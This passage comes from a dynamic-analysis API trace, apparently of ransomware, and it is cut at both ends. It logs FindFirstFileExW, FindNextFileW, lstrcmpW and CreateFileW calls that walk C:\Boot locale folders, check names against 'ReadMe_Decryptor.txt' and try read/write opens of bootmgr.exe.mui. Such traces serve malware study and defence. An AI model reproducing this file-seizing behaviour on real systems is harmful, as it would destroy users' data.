(lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.521] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.521] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.521] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.521] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.521] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.521] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.522] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.522] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.522] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.522] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.522] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.522] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.522] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.522] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.522] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.523] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.671] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.671] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.671] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.671] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.671] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.671] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.672] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.672] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.672] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.672] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.672] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.672] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.672] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0034.672] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0034.672] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0034.672] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.672] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.672] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.672] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.673] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.673] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.673] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.673] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.752] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.752] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.752] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.752] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.752] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.752] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.752] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.752] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.752] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.752] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.752] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.752] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.753] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.753] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.753] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.753] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.753] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.753] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.753] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.753] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.753] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.753] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.753] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.753] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.753] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.753] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.792] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.792] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.792] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.792] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.792] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.792] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.793] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.793] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.793] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.793] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.793] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.793] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.793] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.793] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.793] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.793] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.793] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, 